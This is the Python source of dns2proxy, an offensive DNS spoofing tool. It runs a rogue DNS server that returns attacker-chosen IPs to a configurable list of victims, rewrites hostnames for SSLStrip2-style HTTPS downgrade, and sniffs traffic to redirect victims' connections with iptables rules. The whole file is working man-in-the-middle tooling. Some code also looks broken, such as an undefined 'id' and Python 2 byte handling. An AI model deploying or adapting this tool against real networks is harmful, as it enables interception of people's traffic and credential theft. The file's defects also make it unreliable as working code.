#!/usr/bin/python3
'''
dns2proxy for offensive cybersecurity v1.0


python dns2proxy.py -h for Usage.

Example:
python3 dns2proxy.py -i eth0 -u 192.168.1.101 -d 192.168.1.200

Example for no forwarding (only configured domain based queries and spoofed hosts):
  python3 dns2proxy.py -i eth0 -noforward

Example for no forwarding but add IPs
  python3 dns2proxy.py -i eth0 -I 192.168.1.101,90.1.1.1,155.54.1.1 -noforward

Author: Leonardo Nve ( leonardo.nve@gmail.com)
'''


import dns.message
import dns.rrset
import dns.resolver
import socket
import numbers
import threading
from struct import *
import datetime
import pcapy
import os
import signal
import errno
from time import sleep
import argparse


consultas = {}
spoof = {}
dominios = {}
transformation = {}
nospoof = []
nospoofto = []
victims = []
Forward = None

configs_path = '/usr/local/share/dns2proxy'

LOGREQFILE = "%s/dnslog.txt" % configs_path
LOGSNIFFFILE = "%s/snifflog.txt"        % configs_path
LOGALERTFILE = "%s/dnsalert.txt"    % configs_path
RESOLVCONF = "%s/resolv.conf"    % configs_path
victim_file = "%s/victims.cfg"    % configs_path
nospoof_file = "%s/nospoof.cfg"    % configs_path
nospoofto_file = "%s/nospoofto.cfg"    % configs_path
specific_file = "%s/spoof.cfg"    % configs_path
dominios_file = "%s/domains.cfg"    % configs_path
transform_file = "%s/transform.cfg"    % configs_path


######################
# GENERAL SECTION    #
######################


def save_req(lfile, str):
    f = open(lfile, "a")
    f.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ' ' + str)
    f.close()


def SIGUSR1_handle(signalnum, frame):
    global noserv
    global Resolver
    noserv = 0
    DEBUGLOG('Reconfiguring....')
    process_files()
    Resolver.reset()
    Resolver.read_resolv_conf(RESOLVCONF)
    return


def process_files():
    global nospoof
    global spoof
    global nospoof_file
    global specific_file
    global dominios_file
    global dominios
    global nospoofto_file
    global transform_file

    for i in nospoof[:]:
        nospoof.remove(i)

    for i in nospoofto[:]:
        nospoofto.remove(i)

    for i in victims[:]:
        victims.remove(i)

    dominios.clear()
    spoof.clear()

    nsfile = open(nospoof_file, 'r')
    for line in nsfile:
        if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line
            continue
        h = line.split()
        if len(h) > 0:
            DEBUGLOG('Non Spoofing: ' + h[0])
            nospoof.append(h[0])

    nsfile.close()

    nsfile = open(victim_file, 'r')
    for line in nsfile:
        if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line
            continue
        h = line.split()
        if len(h) > 0:
            DEBUGLOG('Spoofing Only to: ' + h[0])
            victims.append(h[0])

    nsfile.close()

    nsfile = open(nospoofto_file, 'r')
    for line in nsfile:
        if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line
            continue
        h = line.split()
        if len(h) > 0:
            DEBUGLOG('Non Spoofing to: ' + h[0])
            nospoofto.append(h[0])

    nsfile.close()

    nsfile = open(specific_file, 'r')
    for line in nsfile:
        if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line
            continue
        h = line.split()
        if len(h) > 1:
            DEBUGLOG('Specific Host Spoofing: ' + h[0] + ' with: ' + h[1])
            spoof[h[0]] = h[1]

    nsfile.close()
    nsfile = open(dominios_file, 'r')
    for line in nsfile:
        if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line
            continue
        h = line.split()
        if len(h) > 1:
            DEBUGLOG('Specific Domain IP: ' + h[0] + ' with: ' + h[1])
            dominios[h[0]] = h[1]

    nsfile.close()

    nsfile = open(transform_file, 'r')
    for line in nsfile.readlines():
        if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line
            continue
        line = line.rstrip()
        from_host = line.split(':')[0]
        to_host = line.split(':')[1]
        transformation[from_host] = to_host

    nsfile.close()

    return


def DEBUGLOG(str):
    global debug
    if debug:
        print(str)
    return


def handler_msg(id):
    #os.popen('executeScript %s &'%id)
    return

######################
# SNIFFER SECTION    #
######################

class ThreadSniffer(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        #DEBUGLOG( self.getName(), " Sniffer Waiting connections....")
        go()

def go():
    global ip1
    global dev
    bpffilter = "dst host %s and not src host %s and !(tcp dst port 80 or tcp dst port 443) and (not host %s)" % (
        ip1, ip1, adminip)
    cap = pcapy.open_live(dev, 255, 1, 0)
    cap.setfilter(bpffilter)
    DEBUGLOG( "Starting Sniffing in (%s = %s)...." % (dev, ip1))

    #start sniffing packets
    while True:
        try:
            (header, packet) = next(cap)
            parse_packet(packet)
        except:
            pass
            #DEBUGLOG( ('%s: captured %d bytes, truncated to %d bytes' %(datetime.datetime.now(), header.getlen(), header.getcaplen())))

#function to parse a packet
def parse_packet(packet):
    eth_length = 14
    eth_protocol = 8
    global ip1
    global consultas
    global ip2

    #Parse IP packets, IP Protocol number = 8
    if eth_protocol == 8:
        #Parse IP header
        #take first 20 characters for the ip header
        ip_header = packet[eth_length:20 + eth_length]

        #now unpack them :)
        iph = unpack('!BBHHHBBH4s4s', ip_header)

        version_ihl = iph[0]
        #version = version_ihl >> 4
        ihl = version_ihl & 0xF

        iph_length = ihl * 4

        #ttl = iph[5]
        protocol = iph[6]
        s_addr = socket.inet_ntoa(iph[8])
        d_addr = socket.inet_ntoa(iph[9])



        #TCP protocol
        if protocol == 6:
            t = iph_length + eth_length
            tcp_header = packet[t:t + 20]

            #now unpack them :)
            tcph = unpack('!HHLLBBHHH', tcp_header)

            source_port = tcph[0]
            dest_port = tcph[1]
            #            sequence = tcph[2]
            #            acknowledgement = tcph[3]
            #            doff_reserved = tcph[4]
            #            tcph_length = doff_reserved >> 4



            if str(s_addr) in consultas:
                DEBUGLOG(' ==> Source Address : ' + str(s_addr) + ' *  Destination Address : ' + str(d_addr))
                DEBUGLOG(' Source Port : ' + str(source_port) + ' *  Destination Port : ' + str(dest_port))
                #            	print '>>>>  '+str(s_addr)+' esta en la lista!!!!.....'
                comando = 'IPBouncer.sh %s %s %s %s' % (
                    ip2, str(dest_port), consultas[str(s_addr)], str(dest_port))
                os.system(comando)
                #print '>>>> ' + comando
                comando = '/sbin/iptables -D INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
                    ip1, str(dest_port), str(s_addr), str(source_port))
                os.system(comando)
                comando = '/sbin/iptables -A INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % (
                    ip1, str(dest_port), str(s_addr), str(source_port))
                os.system(comando)
                #print '>>>> ' + comando

        #UDP packets
        elif protocol == 17:
            u = iph_length + eth_length
            #udph_length = 8
            #udp_header = packet[u:u + 8]
            #now unpack them :)
            #udph = unpack('!HHHH', udp_header)
            #source_port = udph[0]
            #dest_port = udph[1]
            #length = udph[2]
            #checksum = udph[3]
            #DEBUGLOG('Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum))
            #h_size = eth_length + iph_length + udph_length
            #data_size = len(packet) - h_size
            #get data from the packet
            #data = packet[h_size:]


######################
#  DNS SECTION       #
######################

def respuestas(name, type):
    global Resolver

    DEBUGLOG('Query = ' + name + ' ' + type)
    try:
        answers = Resolver.query(name, type)
    except Exception as e:
        DEBUGLOG('Exception...')
        return 0
    return answers


def requestHandler(address, message):
    resp = None
    dosleep = False
    try:
        message_id = ord(message[0]) * 256 + ord(message[1])
        DEBUGLOG('msg id = ' + str(message_id))
        if message_id in serving_ids:
            DEBUGLOG("I'm Already Serving This Request.")
            return
        serving_ids.append(message_id)
        DEBUGLOG('Client IP: ' + address[0])
        prov_ip = address[0]
        try:
            msg = dns.message.from_wire(message)
            try:
                op = msg.opcode()
                if op == 0:
                    # standard and inverse query
                    qs = msg.question
                    if len(qs) > 0:
                        q = qs[0]
                        DEBUGLOG('request is ' + str(q))
                        save_req(LOGREQFILE, 'Client IP: ' + address[0] + '    request is:    ' + str(q) + '\n')
                        if q.rdtype == dns.rdatatype.A:
                            DEBUGLOG('Performing A query....')
                            resp, dosleep = std_A_qry(msg, prov_ip)
                        elif q.rdtype == dns.rdatatype.PTR:
                            DEBUGLOG('Performing PTR query....')
                            resp = std_PTR_qry(msg)
                        elif q.rdtype == dns.rdatatype.MX:
                            DEBUGLOG('Performing MX query....')
                            resp = std_MX_qry(msg)
                        elif q.rdtype == dns.rdatatype.TXT:
                            DEBUGLOG('Performing TXT query....')
                            resp = std_TXT_qry(msg)
                        elif q.rdtype == dns.rdatatype.AAAA:
                            DEBUGLOG('Performing AAAA query....')
                            resp = std_AAAA_qry(msg)
                        else:
                            # not implemented
                            resp = make_response(qry=msg, RCODE=4)  # RCODE =  4    Not Implemented
                else:
                    # not implemented
                    resp = make_response(qry=msg, RCODE=4)  # RCODE =  4    Not Implemented

            except Exception as e:
                DEBUGLOG('got ' + repr(e))
                resp = make_response(qry=msg, RCODE=2)  # RCODE =  2    Server Error
                DEBUGLOG('resp = ' + repr(resp.to_wire()))
        except Exception as e:
            DEBUGLOG('got ' + repr(e))
            resp = make_response(id=message_id, RCODE=1)  # RCODE =  1    Format Error
            DEBUGLOG('resp = ' + repr(resp.to_wire()))
    except Exception as e:
        # message was crap, not even the ID
        DEBUGLOG('got ' + repr(e))

    if resp:
        s.sendto(resp.to_wire(), address)
    if dosleep: sleep(1)  # Performance downgrade no tested jet


def std_PTR_qry(msg):
    qs = msg.question
    DEBUGLOG( str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    DEBUGLOG('Host: ' + iparpa)
    resp = make_response(qry=msg)
    hosts = respuestas(iparpa[:-1], 'PTR')
    if isinstance(hosts, numbers.Integral):
        DEBUGLOG('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
        return resp

    for host in hosts:
        DEBUGLOG('Adding ' + host.to_text())
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.PTR, host.to_text())
        resp.answer.append(rrset)

    return resp


def std_MX_qry(msg):
    qs = msg.question
    DEBUGLOG(str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    DEBUGLOG('Host: ' + iparpa)
    resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
    return resp
    #Temporal disable MX responses
    resp = make_response(qry=msg)
    hosts = respuestas(iparpa[:-1], 'MX')
    if isinstance(hosts, numbers.Integral):
        DEBUGLOG('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
        return resp

    for host in hosts:
        DEBUGLOG('Adding ' + host.to_text())
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.MX, host.to_text())
        resp.answer.append(rrset)

    return resp


def std_TXT_qry(msg):
    qs = msg.question
    print(str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    print('Host: ' + iparpa)
    resp = make_response(qry=msg)

    host = iparpa[:-1]
    punto = host.find(".")
    dominio = host[punto:]
    host = "."+host
    spfresponse = ''
    if (dominio in dominios) or (host in dominios):
        ttl = 1
        DEBUGLOG('Alert domain! (TXT) ID: ' + host)
        # Here the HANDLE!
        #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
        save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
        if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
        if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
        DEBUGLOG('Responding with SPF = ' + spfresponse)
        rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
        resp.answer.append(rrset)
        return resp


    hosts = respuestas(iparpa[:-1], 'TXT')
    if isinstance(hosts, numbers.Integral):
        print('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3    NXDOMAIN
        return resp

    for host in hosts:
        print('Adding ' + host.to_text())
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.TXT, host.to_text())
        resp.answer.append(rrset)

    return resp

def std_SPF_qry(msg):
    qs = msg.question
    print(str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    print('Host: ' + iparpa)
    resp = make_response(qry=msg)

    # host = iparpa[:-1]
    # punto = host.find(".")
    # dominio = host[punto:]
    # host = "."+host
    # if (dominio in dominios) or (host in dominios):
    #     ttl = 1
    #     DEBUGLOG('Alert domain! (TXT) ID: ' + host)
    #     # Here the HANDLE!
    #     #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
    #     save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n')
    #     if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host
    #     if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio
    #     DEBUGLOG('Responding with SPF = ' + spfresponse)
    #     rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse)
    #     resp.answer.append(rrset)
    #     return resp


    hosts = respuestas(iparpa[:-1], 'SPF')
    if isinstance(hosts, numbers.Integral):
        print('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3    NXDOMAIN
        return resp

    for host in hosts:
        print('Adding ' + host.to_text())
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.SPF, host.to_text())
        resp.answer.append(rrset)

    return resp

def std_AAAA_qry(msg):
    if not Forward:
        DEBUGLOG('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
        return resp
    qs = msg.question
    DEBUGLOG(str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    DEBUGLOG('Host: ' + iparpa)
    resp = make_response(qry=msg)
    hosts = respuestas(iparpa[:-1], 'AAAA')

    if isinstance(hosts, numbers.Integral):
        DEBUGLOG('No host....')
        resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
        return resp

    for host in hosts:
        DEBUGLOG('Adding ' + host.to_text())
        rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.AAAA, host.to_text())
        resp.answer.append(rrset)

    return resp

def std_A_qry(msg, prov_ip):
    global consultas
    global ip1
    global ip2
    global fake_ips

    dosleep = False
    qs = msg.question
    DEBUGLOG(str(len(qs)) + ' questions.')
    resp = make_response(qry=msg)
    for q in qs:
        qname = q.name.to_text()[:-1]
        DEBUGLOG('q name = ' + qname)

        host = qname.lower()

        # dom1 = None
        # dominio = None

        # punto1 = host.rfind(".")
        # punto2 = host.rfind(".",0,punto1-1)

        # if punto1 > -1:
        #     dom1 = host[punto1:]

        # if punto2 > -1:
        #     dominio = host[punto2:]


        find_host = None
        for d in dominios:
            if d in host:
                find_host = d

        if (find_host is not None):
            ttl = 1
            # id = host[:punto2]
            # if dom1 in dominios:
            #     id = host[:punto1]
            #     dominio = dom1

            DEBUGLOG('Alert domain! ID: ' + host)
            # Here the HANDLE!
            #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s <number> \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip));
            handler_msg(host)

            save_req(LOGALERTFILE, 'Alert domain! ID: ' + id + '\n')

            DEBUGLOG('Responding with IP = ' + dominios[find_host])
            rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[find_host])
            resp.answer.append(rrset)
            return resp, dosleep

        if ".%s"%host in dominios:
            dominio = ".%s"%host
            ttl = 1
            DEBUGLOG('Responding with IP = ' + dominios[dominio])
            rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio])
            resp.answer.append(rrset)
            return resp, dosleep

        ips = respuestas(qname.lower(), 'A')
        if qname.lower() not in spoof and isinstance(ips, numbers.Integral):
        # SSLSTRIP2 transformation
            punto = host.find(".")
            dominio = host[punto:]
            host2 = ''
            for from_host in list(transformation.keys()):
                if host.startswith(from_host):
                    host2 = transformation[from_host]+host.split(from_host)[1]
                    break
            if host2 != '':
                DEBUGLOG('SSLStrip transforming host: %s => %s ...' % (host, host2))
                ips = respuestas(host2, 'A')

        #print '>>> Victim: %s   Answer 0: %s'%(prov_ip,prov_resp)

        if isinstance(ips, numbers.Integral):
            DEBUGLOG('No host....')
            resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
            return resp, dosleep

        prov_resp = ips[0]
        consultas[prov_ip] = prov_resp

        ttl = 1
        if (host not in nospoof) and (prov_ip not in nospoofto) and (len(victims) == 0 or prov_ip in victims):
            if host in spoof:
                save_req(LOGREQFILE, '!!! Specific host (' + host + ') asked....\n')
                for spoof_ip in spoof[host].split(","):
                    DEBUGLOG('Adding fake IP = ' + spoof_ip)
                    rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof_ip)
                    resp.answer.append(rrset)
                return resp, dosleep
            elif Forward:
                consultas[prov_ip] = prov_resp
                #print 'DEBUG: Adding consultas[%s]=%s'%(prov_ip,prov_resp)
                if ip1 is not None:
                    rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip1)
                    DEBUGLOG('Adding fake IP = ' + ip1)
                    resp.answer.append(rrset)
                if ip2 is not None:
                    #Sleep only when using global resquest matrix
                    dosleep = True
                    rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip2)
                    DEBUGLOG('Adding fake IP = ' + ip2)
                    resp.answer.append(rrset)
                if len(fake_ips)>0:
                    for fip in fake_ips:
                        rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
                        DEBUGLOG('Adding fake IP = ' + fip)
                        resp.answer.append(rrset)

        if not Forward and prov_ip not in nospoofto:
            if len(fake_ips) == 0:
                DEBUGLOG('No forwarding....')
                resp = make_response(qry=msg, RCODE=3)  # RCODE =  3	NXDOMAIN
            elif len(fake_ips) > 0:
                DEBUGLOG('No forwarding (But adding fake IPs)...')
                for fip in fake_ips:
                    rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip)
                    DEBUGLOG('Adding fake IP = ' + fip)
                    resp.answer.append(rrset)
            return resp, dosleep

        for realip in ips:
            DEBUGLOG('Adding real IP  = ' + realip.to_text())
            rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, realip.to_text())
            resp.answer.append(rrset)

    return resp, dosleep


# def std_A2_qry(msg):
# 	qs = msg.question
# 	DEBUGLOG(str(len(qs)) + ' questions.')
# 	iparpa = qs[0].to_text().split(' ',1)[0]
# 	print 'Host: '+ iparpa
# 	resp = make_response(qry=msg)
# 	rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.A, '4.4.45.4')
# 	resp.answer.append(rrset)
# 	return resp

def std_ASPOOF_qry(msg):
    global spoof
    qs = msg.question
    DEBUGLOG(str(len(qs)) + ' questions.')
    iparpa = qs[0].to_text().split(' ', 1)[0]
    DEBUGLOG('Host: ' + iparpa)
    resp = make_response(qry=msg)

    for q in qs:
        qname = q.name.to_text()[:-1]
        DEBUGLOG('q name = ' + qname) + ' to resolve ' + spoof[qname]
        # 	    rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.facebook.com.')
        # 		resp.answer.append(rrset)
        # 		rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.yahoo.com.')
        # 		resp.answer.append(rrset)
        # 		rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.tuenti.com.')
        # 		resp.answer.append(rrset)
        # 		rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.twitter.com.')
        # 		resp.answer.append(rrset)
        rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[qname])
        resp.answer.append(rrset)
        return resp


def make_response(qry=None, id=None, RCODE=0):
    if qry is None and id is None:
        raise Exception('bad use of make_response')
    if qry is None:
        resp = dns.message.Message(id)
        # QR = 1
        resp.flags |= dns.flags.QR
        if RCODE != 1:
            raise Exception('bad use of make_response')
    else:
        resp = dns.message.make_response(qry)
    resp.flags |= dns.flags.AA
    resp.flags |= dns.flags.RA
    resp.set_rcode(RCODE)
    return resp

def parse_args():

    parser = argparse.ArgumentParser()

    parser.add_argument("-N", "--noforward",
                    help="DNS Fowarding OFF (default ON)",
                    action="store_true")

    parser.add_argument("-i", "--interface",
                    help="Interface to use",
                    default="eth0")
    parser.add_argument("-u", "--ip1",
                    help="First IP to add at the response",
                    default=None)

    parser.add_argument("-d", "--ip2",
                    help="Second IP to add at the response",
                    default=None)

    parser.add_argument("-I", "--ips",
                    nargs='*',
                    help="List of IPs to add after IP1,IP2 separated with commas",
                    default=[])

    parser.add_argument("-S", "--silent",
                    help="Silent mode",
                    action="store_true")

    parser.add_argument("-A", "--adminIP",
                    help="Administrator IP for no filtering",
                    default="192.168.0.1")

    args = parser.parse_args()

    return args

def run(interface=None,
        noforward=None,
        arg_ip1=None,
        arg_ip2=None,
        arg_ips=[],
        silent=False,
        adminIP=None):

    global debug
    global dev
    global adminip
    global ip1
    global ip2
    global ip3
    global Resolver
    global s
    global serving_ids
    global noserv
    global sniff
    global fake_ips
    global Forward

    debug = not silent
    dev = interface
    adminip = adminIP
    ip1 = arg_ip1
    ip2 = arg_ip2
    Forward = not noforward

    fake_ips = []
    for ip in arg_ips:
        fake_ips.append(ip)

    Resolver = dns.resolver.Resolver()

    process_files()

    Resolver.reset()
    Resolver.read_resolv_conf(RESOLVCONF)

    signal.signal(signal.SIGUSR1, SIGUSR1_handle)

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('', 53))

    if Forward:
        DEBUGLOG('DNS Forwarding Activated....')
    else:
        DEBUGLOG('DNS Forwarding Deactivated....')

    DEBUGLOG('Binded to UDP Port: 53')
    serving_ids = []
    noserv = True

    if ip1 is not None and ip2 is not None and Forward:
        sniff = ThreadSniffer()
        sniff.start()

    while True:
        if noserv:
            DEBUGLOG('Waiting for Requests...')

        try:
            message, address = s.recvfrom(1024)
            noserv = True
        except socket.error as xxx_todo_changeme:
            (code, msg) = xxx_todo_changeme.args
            if code != errno.EINTR:
                raise

        if noserv:
            DEBUGLOG('Serving a Request.')
            requestHandler(address, message)

if __name__ == '__main__':

    args = parse_args()

    run(args.interface,
        noforward=args.noforward,
        arg_ip1=args.ip1,
        arg_ip2=args.ip2,
        arg_ips=args.ips,
        silent=args.silent,
        adminIP=args.adminIP)
